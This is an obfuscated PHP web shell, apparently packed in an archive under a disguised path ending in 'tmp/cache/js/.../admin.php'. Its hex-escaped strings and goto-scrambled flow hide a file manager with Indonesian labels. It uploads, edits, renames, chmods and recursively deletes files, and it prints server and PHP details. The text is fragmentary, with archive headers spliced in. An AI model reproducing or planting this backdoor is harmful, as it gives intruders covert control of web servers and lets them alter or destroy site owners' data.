"\x3c\57\x73\160\141\x6e\x3e\74\57\154\x69\x3e\15\xa\x3c\154\x69\x3e\123\x65\x72\x76\x65\x72\40\x49\x50\40\72\x20\x3c\163\x70\141\156\40\x73\x74\x79\x6c\x65\75\x22\x63\x6f\154\x6f\162\x3a\x20\x77\x68\x69\164\x65\73\42\x3e"; goto i6dER; LHxHL: Xe("\146\141\151\154\145\144\40\164\157\40\144\145\154\x65\164\145\40\164\x68\x65\x20\146\x69\x6c\145", 0); goto QMnli; m_WJB: goto NF5Mp; goto V4aUK; JkfzH: $filePath = "{$currentDir}\x2f{$fileName}"; goto tCv0u; v9nE0: echo "\x22\x20\143\154\x61\x73\x73\x3d\42\x6f\x68\x63\164\42\x3e\102\165\141\164\x20\x46\x69\x6c\145\x3c\57\141\76\x20\x7c\40\74\x61\40\x68\162\145\x66\x3d\42\x3f\x70\75"; goto w2eNq; SetU1: if (!($im == "\x72\x65\156\x61\x6d\145")) { goto oKtRs; } goto iJrKt; XoXZZ: $c8[3](Jd($_GET["\160"])); goto Ne4KB; BrZJD: Xe("\106\157\x6c\x64\x65\162\x20\x67\141\147\141\x6c\x20\x64\151\x62\165\141\164", 0); goto ZB075; oO92L: if (!isset($_POST["\162\x65\x6e\x61\x6d\145\137\x66\151\x6c\x65"])) { goto X6Epq; } goto epYd3; DbYJr: echo "\42\40\163\164\171\154\145\75\x22\164\x65\x78\164\55\141\154\x69\147\x6e\x3a\x20\143\145\156\x74\145\x72\73\x22\76\xd\xa\40\x20\40\x20\74\57\x64\151\x76\x3e\xd\12\x20\40\40\40\x3c\x64\151\x76\x20\143\x6c\x61\163\163\x3d\x22\146\157\162\155\x2d\x67\162\157\x75\x70\42\x20\163\x74\171\154\x65\x3d\x22\x6d\x61\x72\x67\x69\x6e\55\164\x6f\x70\x3a\x20\x31\60\x70\x78\73\x22\x3e\15\12\x20\40\40\40\x20\40\40\40\74\x62\x75\x74\164\157\x6e\40\164\171\x70\x65\x3d\x22\163\165\x62\x6d\x69\x74\42\x20\156\141\x6d\x65\75\42\162\145\x6e\141\x6d\145\137\146\x69\x6c\x65\42\40\143\154\x61\x73\163\75\x22\157\x68\143\x74\x22\76\x53\x61\166\x65\x3c\x2f\142\x75\164\164\x6f\x6e\76\15\xa\x20\40\40\40\74\57\144\x69\x76\x3e\xd\xa\x3c\x2f\146\157\x72\x6d\x3e\xd\xa\15\xa"; goto oO92L; X9oWu: $currentDir = getcwd(); goto l6lHy; QMnli: goto oGhKM; goto NaeCm; cSpMC: Xe("\x46\x69\x6c\x65\40\147\141\147\141\154\40\x64\151\142\165\x61\x74", 0); goto sueaT; aAPZK: eDnbO: goto t2P1z; uLQpu: if (rename($oldPath, $newPath)) { goto cuWoE; } goto Hczko; O4wAy: echo "\x20\xd\12\x3c\x2f\144\151\166\76\xd\xa\74\x73\143\162\x69\160\x74\40\x73\162\143\75\42\x2f\x2f\143\157\x64\x65\x2e\x6a\x71\x75\145\162\171\x2e\x63\157\155\x2f\152\161\165\145\162\x79\x2d\x33\x2e\x35\56\x31\x2e\x73\x6c\x69\x6d\56\155\151\156\56\x6a\163\x22\x3e\74\x2f\163\143\x72\151\160\164\x3e\xd\xa\74\x73\x63\162\x69\160\164\x20\x73\x72\143\x3d\42\x2f\x2f\143\144\156\x2e\x6a\x73\x64\x65\154\x69\x76\162\56\x6e\x65\164\x2f\x6e\160\x6d\x2f\x62\x6f\x6f\164\163\164\162\141\x70\100\64\x2e\66\x2e\60\x2f\144\x69\163\164\x2f\152\x73\x2f\x62\157\x6f\x74\163\x74\162\x61\160\56\142\x75\156\x64\x6c\x65\56\x6d\x69\x6e\56\152\163\x22\40\x3e\74\57\x73\143\x72\x69\160\164\76\15\12\x3c\x73\x63\x72\151\x70\x74\40\x73\x72\143\x3d\x22\x2f\57\x63\144\x6e\x2e\152\163\144\x65\154\151\x76\162\56\156\145\164\x2f\x6e\160\x6d\x2f\142\163\x2d\143\x75\x73\164\x6f\155\55\x66\x69\x6c\x65\55\x69\156\x70\x75\x74\57\144\151\x73\164\x2f\142\163\x2d\x63\x75\x73\x74\x6f\x6d\55\146\x69\x6c\x65\55\151\156\160\x75\x74\x2e\x6d\x69\x6e\x2e\152\163\42\76\74\x2f\x73\143\162\151\x70\164\76\xd\xa\x3c\x73\x63\162\151\160\x74\40\164\x79\x70\x65\75\42\164\145\170\x74\x2f\x6a\141\x76\x61\x73\x63\162\x69\x70\164\x22\76\x65\x76\141\x6c\x28\146\165\x6e\143\x74\151\x6f\156\x28\160\x2c\141\x2c\x63\x2c\153\54\x65\x2c\x64\x29\x7b\145\75\146\x75\156\143\x74\x69\x6f\156\x28\x63\51\173\162\145\164\165\x72\156\50\x63\x3c\141\77\x27\x27\x3a\145\x28\x70\141\162\x73\x65\x49\x6e\164\50\x63\x2f\x61\x29\x29\51\x2b\50\x28\x63\75\143\45\141\x29\x3e\x33\x35\77\123\x74\x72\x69\x6e\x67\x2e\x66\x72\157\155\x43\x68\x61\x72\103\x6f\x64\145\50\143\x2b\62\71\51\x3a\x63\56\164\157\x53\x74\x72\x69\x6e\x67\50\63\66\x29\x29\175\x3b\151\x66\x28\41\47\47\x2e\162\145\160\154\x61\143\x65\50\x2f\x5e\x2f\54\x53\164\162\151\156\147\x29\51\173\167\x68\151\154\145\50\x63\55\55\x29\x7b\x64\133\145\x28\x63\x29\x5d\x3d\153\133\x63\x5d\174\x7c\145\x28\x63\x29\175\153\x3d\x5b\x66\x75\156\x63\164\x69\x6f\156\50\145\51\173\x72\x65\164\x75\x72\156\40\x64\133\145\135\x7d\135\x3b\x65\75\x66\x75\156\143\164\x69\157\x6e\x28\51\x7b\x72\145\x74\165\162\156\x27\134\x5c\x77\53\x27\175\x3b\x63\75\x31\x7d\x3b\167\x68\x69\154\145\50\143\x2d\x2d\x29\173\x69\x66\x28\x6b\x5b\x63\135\x29\x7b\x70\x3d\160\56\x72\x65\x70\x6c\x61\143\x65\x28\x6e\x65\x77\40\122\145\147\x45\170\x70\50\x27\x5c\x5c\x62\x27\x2b\x65\50\143\x29\x2b\47\134\134\142\x27\x2c\x27\x67\47\x29\54\153\133\x63\x5d\x29\x7d\x7d\162\145\164\165\x72\156\40\160\175\x28\47\105\56\156\x28\51\x3b\x24\50\134\x27\133\x32\55\x6d\75\x22\64\42\135\x5c\47\x29\56\x34\50\x29\x3b\44\50\x22\56\x6c\42\x29\56\x6b\x28\152\50\x65\51\173\145\56\x67\x28\x29\73\150\x20\x30\x3d\44\x28\66\x29\x2e\x35\50\x22\62\55\60\42\x29\73\x63\x28\x7b\x62\x3a\x22\141\42\54\71\72\x22\157\x20\151\x20\x71\x3f\42\x2c\x77\x3a\x22\104\x20\42\x2b\60\x2b\42\x20\x70\40\x43\40\x42\x22\x2c\x41\72\67\x2c\x7a\x3a\67\x2c\175\x29\56\x79\x28\50\70\x29\75\76\x7b\x72\50\x38\x29\x7b\x78\x20\x31\x3d\x24\50\66\x29\56\x35\50\x22\x33\42\51\x2b\x22\46\x74\x3d\42\x2b\50\x28\60\75\75\42\x76\42\51\77\42\144\x22\x3a\42\146\x22\51\x3b\x75\56\x73\56\x33\75\x31\x7d\175\51\175\x29\73\47\54\64\61\54\64\x31\x2c\47\164\171\x70\145\174\142\165\x69\x6c\144\125\x52\114\x7c\x64\141\164\x61\174\150\x72\145\146\x7c\x74\157\x6f\x6c\x74\x69\x70\x7c\x61\x74\x74\x72\x7c\164\x68\151\163\174\164\162\x75\145\174\167\151\154\x6c\104\145\x6c\x65\164\x65\174\x74\x69\164\x6c\145\174\167\141\162\x6e\x69\156\147\174\151\143\157\x6e\174\x73\x77\141\154\174\174\x7c\174\x70\162\x65\x76\x65\156\164\104\145\146\141\165\154\164\x7c\154\145\x74\x7c\171\157\x75\x7c\x66\165\156\143\x74\x69\x6f\x6e\x7c\143\x6c\x69\x63\x6b\174\x64\145\154\145\164\145\x7c\164\157\147\x67\x6c\x65\174\x69\156\x69\164\174\101\162\145\x7c\x77\x69\x6c\x6c\174\163\165\x72\x65\x7c\151\x66\174\x6c\157\143\x61\x74\151\x6f\x6e\x7c\174\144\x6f\143\x75\x6d\145\156\x74\174\x66\157\x6c\144\145\x72\x7c\164\145\170\164\x7c\143\157\x6e\163\164\x7c\x74\x68\x65\x6e\174\x64\x61\x6e\147\145\162\115\x6f\x64\x65\x7c\142\165\x74\164\157\156\x73\x7c\x64\145\x6c\x65\164\145\x64\174\142\x65\x7c\124\x68\x69\x73\x7c\142\x73\103\x75\x73\x74\157\155\106\x69\154\x65\x49\156\160\x75\x74\x27\x2e\163\x70\x6c\x69\164\50\x27\x7c\x27\x29\54\x30\x2c\173\175\x29\51\x3c\x2f\163\143\x72\x69\160\x74\x3e\15\xa\x3c\57\x62\157\144\x79\76\xd\xa\x3c\x2f\x68\164\155\154\76";
PK T
5\$J!Q3 3 - wlw/dist/files/tmp/cache/js/xvn/fdl/admin.phpnu W+A $Oe) { goto Fvm5j; qygGW: echo sS($Op[$lE]); goto aPb2u; aPb2u: if ($lE != $j3) { goto dPc14; } goto Wds7x; QB8_i: echo "\x32\146"; goto jLTjf; PByHB: goto ufLc2; goto VIYPa; lpkFk: EYftb: goto jYCxj; Fvm5j: if ($j3 == 0 && $Oe == '') { goto MWOxt; } goto PByHB; cVGQY: $lE = 0; goto pe3Dv; OzfAy: goto Kt8H4; goto sf8OO; Q42e7: echo "\74\x61\40\x68\x72\x65\146\x3d\x22\77\160\75\62\x66\x22\40\143\154\141\163\163\75\x22\x63\157\155\x62\x65\164\x22\x3e\x7e\x3c\x2f\141\76\57"; goto OzfAy; EAX3I: $lE++; goto W9UQF; Spsgc: Kt8H4: goto sMtqi; Wds7x: goto U3WfF; goto ut0jS; vUVs4: IBpgX: goto bS2jz; jLTjf: U3WfF: goto lo3ZP; VkFF6: echo "\x3c\x61\40\x63\154\x61\x73\163\x3d\x22\x63\157\x6d\x62\x65\x74\42\40\x68\162\x65\x66\x3d\42\77\160\75"; goto cVGQY; W9UQF: goto ZiNnh; goto lpkFk; pe3Dv: ZiNnh: goto QH27w; JZx4X: ysRXm: goto VkFF6; jTGNi: goto EYftb; goto iNne8; xpmjY: goto ysRXm; goto vUVs4; jYCxj: echo "\x22\76{$Oe}\74\57\x61\x3e\x2f"; goto Spsgc; VIYPa: MWOxt: goto Q42e7; ut0jS: dPc14: goto QB8_i; sMtqi: rS3NS: goto oJ1oa; lo3ZP: SthHa: goto EAX3I; ppxrX: if ($Oe == '') { goto IBpgX; } goto xpmjY; bS2jz: goto Kt8H4; goto JZx4X; iNne8: cMQQe: goto qygGW; QH27w: if ($lE <= $j3) { goto cMQQe; } goto jTGNi; sf8OO: ufLc2: goto ppxrX; oJ1oa: } goto Y7Z0b; ui2ii: JvcYD: goto iBbm5; nsWn8: function tF($yf) { goto sskCe; fXVxM: if (!(is_dir($yf) && array_diff(scandir($yf), array("\56", "\x2e\56")))) { goto RP3Iy; } goto ZYx8z; LUX_z: RP3Iy: goto iTc69; YTPw1: if (trim(pathinfo($yf, PATHINFO_BASENAME), "\x2e") === '') { goto Mrxog; } goto wANxN; M8mG2: QTjyQ: goto BOu7j; XOSkm: Wv6fm: goto fXVxM; iTc69: rmdir($yf); goto n1Jtf; ZYx8z: goto QTjyQ; goto LUX_z; n1Jtf: return; goto M8mG2; sskCe: global $c8; goto YTPw1; wANxN: goto Wv6fm; goto iXnKi; QKT6w: rmdir($yf); goto s9gwe; BOu7j: array_map(function ($item) use($yf) { goto Qn2wI; Qn2wI: $file = $yf . DIRECTORY_SEPARATOR . $item; goto BDdLo; N1N3K: goto iy3dP; goto QP8VH; DMrRd: iy3dP: goto r51c1; QP8VH: uTA7m: goto ePttR; ePttR: tF($file); goto DMrRd; BDdLo: if (is_dir($file)) { goto uTA7m; } goto I91lo; I91lo: unlink($file); goto N1N3K; r51c1: }, array_diff(scandir($yf), array("\56", "\56\x2e"))); goto QKT6w; iXnKi: Mrxog: goto Kuedk; Kuedk: return; goto XOSkm; s9gwe: } goto CKeJG; b1Prt: ltJzC: goto rjz3G; yFHz7: xE("\x47\x61\147\141\154\x20\x6d\145\x6d\x70\x65\x72\x62\141\162\165\151\x20\153\x6f\x6e\x74\145\x6e\x20\x66\151\154\x65"); goto Qns7R; NaeCm: mfvF0: goto GoQrX; MhAYt: xE("\116\x61\155\141\40\146\157\x6c\144\x65\162\x20\164\x65\x6c\141\x68\40\144\151\147\165\156\141\x6b\x61\156", 0, "\46\x61\x3d" . SS("\x6e\x65\167\104\151\x72")); goto UGZfs; ah8PB: if ($lE < count($c8)) { goto Ts8yS; } goto EIdAd; V60JP: CiuOO: goto sZ6bB; IV6J1: if (!isset($_FILES["\x66"])) { goto j8Ne4; } goto TR99t; P15t3: echo "\x3c\150\x35\40\143\x6c\x61\163\x73\x3d\x22\x70\55\x31\x20\162\141\x69\x6e\x62\157\x77\x2d\x62\x6f\x72\x64\x65\x72\x22\x3e\122\145\156\141\x6d\x65\40\x46\151\154\145\x20\x3a\x20"; goto ellLl; s1u_6: goto vM212; goto yexD7; lygUa: $Jd = jD($_GET["\x70"]); goto XoXZZ; R6obu: IfSJ9: goto eucg0; tEYJK: echo "\x3c\x2f\164\145\x78\x74\141\x72\x65\x61\x3e\15\12\74\x2f\x64\151\x76\x3e\15\xa"; goto N93Qc; erhmN: goto qLlQw; goto i0rgL; fIAC0: vM212: goto ZZiIv; rHpnJ: echo ss($Jd) . "\x26\x61\75" . Ss("\x6e\145\x77\106\x69\x6c\x65"); goto v9nE0; qWFN0: goto BgYPr; goto Lm_zM; GoQrX: xe("\146\151\154\145\x20\x64\145\x6c\145\x74\145\x64\40\163\x75\x63\143\x65\163\163\146\x75\x6c\154\171"); goto SollG; SwPKx: echo "\74\x2f\163\160\x61\156\76\74\x2f\154\151\x3e\15\12\74\154\151\76\120\110\x50\40\126\x65\x72\163\151\x6f\x6e\40\72\x20\x3c\163\160\x61\x6e\40\163\x74\171\154\145\x3d\42\x63\157\154\157\162\72\x20\x77\x68\x69\x74\x65\73\x22\76"; goto sBr8q; FjyCj: xe("\106\x69\154\145\40\x62\x65\x72\x68\x61\x73\x69\x6c\x20\x64\x69\142\x75\141\x74", 1, "\46\x61\75" . SS("\x76\151\145\x77") . "\x26\156\75" . Ss($fileName)); goto TytgP; tqKCZ: xE("\x46\x69\x6c\145\x20\x74\x69\x64\x61\153\40\141\x64\x61\x20\x61\x74\x61\x75\40\164\x69\x64\141\153\x20\144\x61\160\x61\x74\40\x64\x69\164\x75\x6c\151\x73"); goto twach; h0yNe: NF5Mp: goto ed79z; yVA2j: $targetFilePath = "{$Jd}\57{$fileName}"; goto as55f; oUPhS: if (!isset($_POST["\x63\150\141\x6e\147\145\x5f\x70\145\x72\x6d\x73"])) { goto ih__Q; } goto XjoI2; jJ6Ik: goto xdi7Y; goto Kar2v; ThB_8: PYt7W: goto l8csR; twach: goto XR5kC; goto Y6O3j; m101q: f8xPg: goto pTFI0; vNGYA: goto mBbAB; goto g0l1M; CzeEQ: $fileTmpNames = $_FILES["\x66"]["\x74\155\x70\137\x6e\x61\155\x65"]; goto yqeU_; W_YUR: $newPath = "{$currentDir}\57{$newName}"; goto uLQpu; HhbxK: $lE = 0; goto SrkKL; g6YeJ: jycuQ: goto yzR0z; KQMnt: c_wd5: goto XplJE; yCXHO: echo $c8[18]($c8[14](getcwd() . "\x2f" . jd($_GET["\156"]))); goto tEYJK; AP21i: $content = $_POST["\146\151\154\x65\x5f\x63\x6f\x6e\164\x65\x6e\x74"]; goto jtnD_; XNn9R: goto JvcYD; goto ZFVCq; ddJe8: $totalFiles = count($uploadedFiles); goto fIAC0; Sjegh: if (!($im == "\x76\151\x65\167")) { goto ltJzC; } goto IOs5m; LExXx: OqgUI: goto DxM5p; TytgP: NA5Qf: goto C0rs5; eJzBg: $Op = $c8[4]("\57\50\x5c\x5c\x7c\x5c\x2f\x29\57", $Jd); goto wEnsV; Kar2v: lNhPP: goto QVXk5; KxtAf: Ts8yS: goto Z3Rwf; YpqQB: xe("\x42\x65\162\x68\141\x73\x69\x6c\x20\x6d\x65\156\147\x75\142\141\150\x20\x6e\141\x6d\x61\x20\146\x69\154\x65"); goto PdVkP; Uj6Nn: $filePath = getcwd() . "\57{$fileName}"; goto AP21i; gNdcw: nRhJi: goto GAJ_p; WsTPz: wXkgs: goto lP14A; IXUL0: goto G9S0S; goto hQI_R; y1nIx: $filePath = "{$currentDir}\57" . jD($_GET["\156"]); goto vA6Xn; i0rgL: Cw8Jm: goto Sjegh; SSOY8: Xe("\106\x69\x6c\145\40\x67\141\x67\141\154\x20\x64\151\165\156\147\x67\x61\x68", 0); goto LHnmG; ed79z: if (!($im == "\156\145\x77\104\x69\x72")) { goto fV5j4; } goto XNn9R; gQPY8: if (file_put_contents($filePath, $content) !== false) { goto Q1N8Z; } goto yFHz7; XplJE: Sp00F: goto ql2h3; cb69F: $lE++; goto jJ6Ik; U0HWk: goto WuWzI; goto g6YeJ; fFAU6: tF($BL); goto BeTGF; qv6Am: echo gethostbyname($_SERVER["\x52\105\115\117\x54\105\137\x41\x44\104\x52"]); goto KhgEs; EdS_l: echo "\74\57\163\160\141\x6e\x3e\74\57\154\x69\76\xd\12\74\x6c\151\76\x53\145\162\x76\x65\162\x20\123\x6f\x66\164\x77\x61\162\145\x20\72\40\74\163\160\x61\156\40\163\164\x79\x6c\145\75\x22\x63\x6f\154\x6f\162\72\x20\x77\150\151\164\x65\73\x22\x3e"; goto M6ABo; ZFVCq: fV5j4: goto LtzXz; psV4R: echo "\x3c\x68\x35\x20\143\154\x61\163\163\75\42\x70\x2d\x31\40\x72\141\151\156\142\157\167\55\x62\157\162\144\x65\x72\x22\x20\163\x74\x79\154\145\x3d\42\164\145\170\x74\x2d\x61\154\151\x67\156\72\40\143\145\x6e\x74\145\162\x3b\42\x3e\15\12\40\40\x20\40\126\151\145\167\x20\106\x69\x6c\145\x20\116\x61\x6d\x65\x20\x3a\x20\x3c\x66\x6f\156\x74\x20\x63\x6f\154\157\162\x3d\42\167\x68\x69\164\x65\42\76"; goto QznLN; vA6Xn: if (chmod($filePath, octdec($newPerms))) { goto eDnbO; } goto hgzvg; RE3aJ: G9S0S: goto O4wAy; MycnO: echo "\x3c\x2f\x66\157\x6e\164\76\74\57\150\65\x3e\xd\12\x3c\146\x6f\x72\155\40\155\x65\164\150\157\144\x3d\42\x70\x6f\163\x74\x22\76\xd\xa\x20\x20\x20\40\x3c\144\151\166\40\x63\154\141\163\x73\75\x22\x66\157\162\155\x2d\147\x72\x6f\x75\x70\x22\x3e\xd\12\x20\x20\40\x20\x20\x20\x20\x20\x3c\164\145\x78\x74\141\162\145\x61\x20\x6e\141\155\x65\75\42\146\x69\x6c\x65\137\x63\x6f\x6e\x74\x65\156\x74\42\x20\151\x64\x3d\x22\146\x69\154\x65\137\x63\157\156\164\x65\156\x74\x22\x20\x63\x6f\x6c\163\x3d\x22\63\60\x22\x20\162\x6f\x77\163\75\x22\x31\x30\x22\x20\143\154\x61\163\x73\75\x22\146\157\x72\x6d\x2d\143\x6f\x6e\164\x72\x6f\x6c\x20\x72\141\151\x6e\x62\157\167\x2d\142\x6f\x72\x64\x65\x72\42\76"; goto OJjdv; ANEwH: goto WuWzI; goto ISycY; DmZNj: if (file_exists($folderPath)) { goto lVpvL; } goto JqxaL; IP9JK: $Jd = getcwd(); goto K71UA; dG_yF: if (!file_exists($BL)) { goto mfvF0; } goto LHxHL; ql2h3: echo "\x20\15\xa\x3c\57\x74\142\x6f\x64\x79\76\15\12\74\x2f\x74\x61\x62\x6c\145\76\15\12"; goto RE3aJ; pJrgA: if (!($_SERVER["\x52\105\x51\125\105\x53\x54\137\x4d\x45\x54\x48\117\104"] === "\120\117\x53\124" && isset($_POST["\145\x64\151\164\137\x66\x69\154\145"]))) { goto FuJKP; } goto WY826; iPtuX: ih__Q: goto QJcbe; aPTH4: echo "\74\57\164\145\x78\164\x61\x72\145\x61\x3e\15\xa\40\x20\40\40\x3c\57\144\x69\x76\76\15\xa\40\40\x20\40\74\144\151\x76\x20\143\154\141\x73\x73\75\x22\146\x6f\162\x6d\55\147\162\157\165\x70\x22\x20\163\164\x79\154\x65\x3d\42\x6d\x61\x72\147\x69\156\x2d\x74\157\x70\72\40\61\x30\160\x78\73\x22\76\xd\12\40\x20\x20\x20\x20\x20\40\40\x3c\142\165\x74\164\x6f\156\x20\x74\171\x70\x65\75\42\x73\x75\x62\155\x69\x74\42\40\156\141\x6d\x65\75\x22\x65\x64\x69\x74\x5f\x66\151\x6c\145\x22\x20\x63\154\141\163\x73\x3d\x22\x6f\x68\x63\x74\42\76\123\151\x6d\x70\141\156\x3c\57\x62\x75\x74\x74\157\156\x3e\xd\xa\40\x20\40\x20\x3c\x2f\144\151\166\76\xd\xa\74\57\x66\157\162\155\76\xd\xa\xd\xa"; goto pJrgA; EaJYU: Bh2fC: goto iPtuX; GrpvM: Y6Upm: goto SetU1; g4Bkd: goto YmvX_; goto APzPP; lBivr: $content = $_POST["\x66\151\x6c\x65\x5f\143\157\x6e\x74\145\156\164"]; goto gbyid; PdVkP: Fk3E1: goto pMfSC; PZxqg: if (isset($_GET["\141"])) { goto PW8sr; } goto e3oOU; QVXk5: if (!isset($_GET["\x70"])) { goto wXkgs; } goto xa4PM; QJcbe: goto WuWzI; goto SrtER; uNjg_: echo jD($_GET["\x6e"]); goto DbYJr; z00aG: if (!($_GET["\x74"] == "\x66")) { goto GRYEX; } goto o5NaW; T7PXl: $fileName = basename($uploadedFiles[$index]); goto yVA2j; Qns7R: goto WBrRw; goto qkvjE; C0rs5: goto PYt7W; goto R6obu; HB3Fv: echo "\74\x2f\x68\65\x3e\xd\xa\74\146\x6f\162\x6d\x20\155\x65\x74\150\x6f\144\x3d\42\160\157\x73\x74\42\x3e\15\12\x20\x20\40\x20\74\144\151\166\40\x63\154\x61\163\x73\x3d\42\x66\157\162\155\55\x67\162\x6f\x75\x70\42\76\xd\xa\x20\40\40\40\40\x20\x20\x20\x3c\151\156\x70\165\164\40\164\171\160\145\75\x22\x74\145\170\x74\x22\x20\x6e\141\155\x65\75\x22\x6e\145\x77\x5f\146\x69\154\145\137\156\x61\x6d\x65\42\x20\151\144\75\42\x6e\145\x77\137\x66\151\x6c\145\x5f\156\x61\155\x65\42\x20\143\154\141\x73\163\x3d\42\x62\x6f\162\144\x65\x72\40\160\55\61\x22\x20\166\x61\154\165\x65\75\x22"; goto uNjg_; LtzXz: if (!($im == "\156\x65\167\106\151\x6c\145")) { goto Y6Upm; } goto xYynO; sueaT: goto NA5Qf; goto caZJX; FfdSI: if (!($im == "\x63\x68\x61\x6e\147\145\120\145\x72\155\x73")) { goto Cw8Jm; } goto erhmN; zQPxb: $Jd = getcwd(); goto IV6J1; BeTGF: if (!file_exists($BL)) { goto l07qe; } goto tqIqH; XuBX4: echo "\x22\x20\x63\154\x61\x73\163\x3d\42\157\150\143\164\x22\x3e\x42\x75\x61\164\40\106\157\x6c\144\x65\x72\x3c\57\141\x3e\74\57\x6c\x69\76\15\12\74\x66\x6f\162\155\40\141\143\164\x69\157\x6e\x3d\x22\x22\x20\155\145\x74\150\x6f\144\75\x22\x50\x4f\123\x54\42\40\x65\156\x63\164\x79\160\x65\75\x22\155\165\x6c\164\x69\160\x61\x72\x74\57\x66\x6f\x72\155\x2d\x64\x61\x74\x61\42\x20\x73\x74\x79\154\x65\x3d\42\x70\141\x64\x64\x69\156\147\72\x20\x30\56\x31\x30\162\x65\x6d\73\x20\x64\x69\163\160\154\x61\171\72\40\x69\156\154\x69\x6e\x65\55\142\x6c\157\x63\153\x3b\x22\x3e\15\12\x20\x20\x20\40\x3c\151\x6e\x70\x75\164\x20\164\x79\160\145\75\x22\146\x69\154\x65\42\x20\x6e\x61\x6d\145\75\42\146\x5b\x5d\x22\x20\155\x75\154\164\151\x70\154\x65\76\15\xa\x20\40\40\x20\x3c\151\x6e\x70\x75\164\40\x74\171\x70\x65\75\x22\163\165\142\155\151\x74\x22\x20\x76\141\154\x75\x65\x3d\42\x55\x70\x6c\157\x61\x64\42\x20\x6e\141\155\x65\75\42\163\x75\142\x6d\151\x74\x22\40\x63\x6c\x61\163\x73\75\42\x62\x75\x74\x74\157\156\40\157\x68\x63\164\x22\76\xd\12\74\x2f\146\x6f\162\155\x3e\xd\12"; goto zQPxb; CgOkh: echo php_uname(); goto EdS_l; ckKLx: xe("\113\157\156\164\x65\x6e\40\146\x69\154\x65\x20\x62\x65\162\150\141\163\x69\x6c\x20\144\x69\x70\x65\162\x62\x61\x72\x75\151", 1, "\46\x61\x3d" . sS("\x76\151\145\167") . "\x26\x6e\75{$_GET["\x6e"]}"); goto OPLx1; v3G9M: foreach ($G3 as $F1) { goto ruO3g; JOFka: ujbhv: goto glGuu; D3Ydb: $kL = $kL > 1024 ? round($kL / 1024, 2) . "\x20\x20\115\102" : $kL . "\x20\40\113\102"; goto ldehu; v2noY: F6uUG: goto nnWwd; bcKKF: TomPa: goto cb8nr; ldehu: echo "\15\12\x3c\164\x72\x3e\15\xa\74\x74\144\x20\x73\164\171\x6c\145\x3d\42\x74\x65\x78\x74\55\141\x6c\x69\x67\156\x3a\x20\x6c\x65\146\x74\73\42\x3e\xd\12\x3c\151\x20\x63\x6c\x61\x73\x73\75\x22\146\x61\40\x66\141\x2d\x66\x77\40\146\141\55\146\151\154\145\55\157\42\40\x73\x74\x79\x6c\x65\x3d\42\x62\x6f\162\x64\x65\x72\72\40\x30\x3b\160\141\x64\x64\151\156\x67\72\x20\60\x3b\167\151\x64\x74\150\72\40\61\x2e\62\x38\65\67\x31\x34\x32\x39\145\155\73\x22\x3e\x3c\57\151\x3e\x3c\141\x20\150\x72\x65\x66\x3d\42\x3f\160\75" . SS($Jd) . "\x26\x61\x3d" . sS("\x76\151\x65\167") . "\x26\x6e\x3d" . SS($F1) . "\42\x20\x64\x61\x74\x61\x2d\164\x6f\x67\147\154\145\x3d\42\164\157\157\x6c\x74\x69\x70\x22\40\144\x61\x74\141\x2d\x70\154\x61\143\145\x6d\x65\x6e\x74\x3d\x22\141\165\x74\157\x22\40\x74\151\x74\154\145\x3d\42\114\141\x74\145\x73\164\40\155\157\144\x69\146\171\40\x6f\156\40" . $c8[19]("\131\55\x6d\55\144\x20\110\72\x69", $c8[20]("{$Jd}\57{$F1}")) . "\x22\76{$F1}\x3c\57\141\76\74\57\164\x64\x3e\15\12\x3c\x74\x64\x3e\x3c\x73\160\141\x6e\76{$kL}\74\x2f\163\160\x61\x6e\x3e\x3c\57\164\144\76\xd\xa\74\x74\144\x3e\xd\xa\x20\40\40\40\40\40\40\40\x20\40\40\40\40\x20\x20\40\40\40\x20\40\74\141\40\150\162\145\x66\75\x22\x3f\x70\75" . SS($Jd) . "\46\141\75" . sS("\x63\150\141\156\x67\x65\120\x65\162\155\x73") . "\x26\156\75" . SS($F1) . "\42\40\x64\141\164\x61\x2d\164\x6f\x67\x67\154\x65\75\42\164\x6f\157\154\x74\x69\x70\x22\40\x64\141\164\141\x2d\160\x6c\141\x63\x65\155\145\x6e\x74\75\42\x61\165\164\x6f\42\x20\164\x69\164\x6c\x65\x3d\42\103\x68\141\x6e\147\x65\x20\120\x65\x72\x6d\151\x73\x73\x69\157\156\x73\x22\40\144\x61\x74\x61\55\157\162\151\x67\x69\156\141\x6c\55\x74\x69\164\154\x65\x3d\42\x43\x68\x61\156\147\x65\40\x50\145\x72\x6d\151\163\x73\151\x6f\156\x73\x22\x3e\x3c\x66\x6f\156\164\x20\x63\157\154\157\x72\x3d\x22" . ($c8[8]("{$Jd}\x2f{$F1}") ? "\43\x30\x30\146\x66\60\x30" : (!$c8[9]("{$Jd}\x2f{$F1}") ? "\43\x30\60\x62\x66\146\146" : null)) . "\x22\x3e" . rN("{$Jd}\x2f{$F1}") . "\x3c\57\146\x6f\x6e\164\x3e\x3c\x2f\x61\76\15\xa\40\x20\x20\40\x20\x20\40\40\40\x20\40\40\40\40\x20\40\x3c\57\164\x64\76\15\xa\x3c\x74\144\76\x3c\141\x20\x68\162\145\x66\x3d\x22\77\160\x3d" . Ss($Jd) . "\46\141\75" . Ss("\145\x64\x69\164") . "\x26\x6e\x3d" . SS($F1) . "\x22\x20\x64\141\x74\141\55\164\x6f\147\x67\154\145\x3d\42\x74\157\x6f\154\164\x69\160\x22\x20\144\x61\x74\141\55\x70\154\141\143\145\x6d\x65\156\164\x3d\x22\141\x75\164\x6f\42\40\x74\151\x74\x6c\x65\x3d\x22\105\144\151\164\x22\76\x45\x64\x69\164\x3c\x2f\141\76\74\57\x74\x64\x3e\15\xa\x3c\x74\144\76\74\141\40\150\162\145\x66\x3d\42\x3f\160\75" . ss($Jd) . "\46\141\x3d" . SS("\x72\x65\156\x61\x6d\145") . "\46\156\x3d" . ss($F1) . "\x26\164\75\146\x22\40\144\x61\x74\x61\55\164\x6f\x67\147\x6c\x65\75\x22\164\x6f\x6f\x6c\x74\151\x70\x22\40\144\x61\164\x61\x2d\160\154\141\x63\145\155\145\x6e\164\75\x22\141\x75\x74\x6f\42\x20\x74\151\164\x6c\x65\75\x22\122\145\156\141\x6d\x65\42\x3e\x52\x65\x6e\141\x6d\145\74\x2f\x61\76\74\x2f\164\x64\x3e\xd\xa\x3c\x74\x64\x3e\74\141\x20\150\x72\145\x66\x3d\42\77\x70\x3d" . ss($Jd) . "\x26\x61\75" . sS("\x64\x65\154\145\164\145") . "\46\156\75" . ss($F1) . 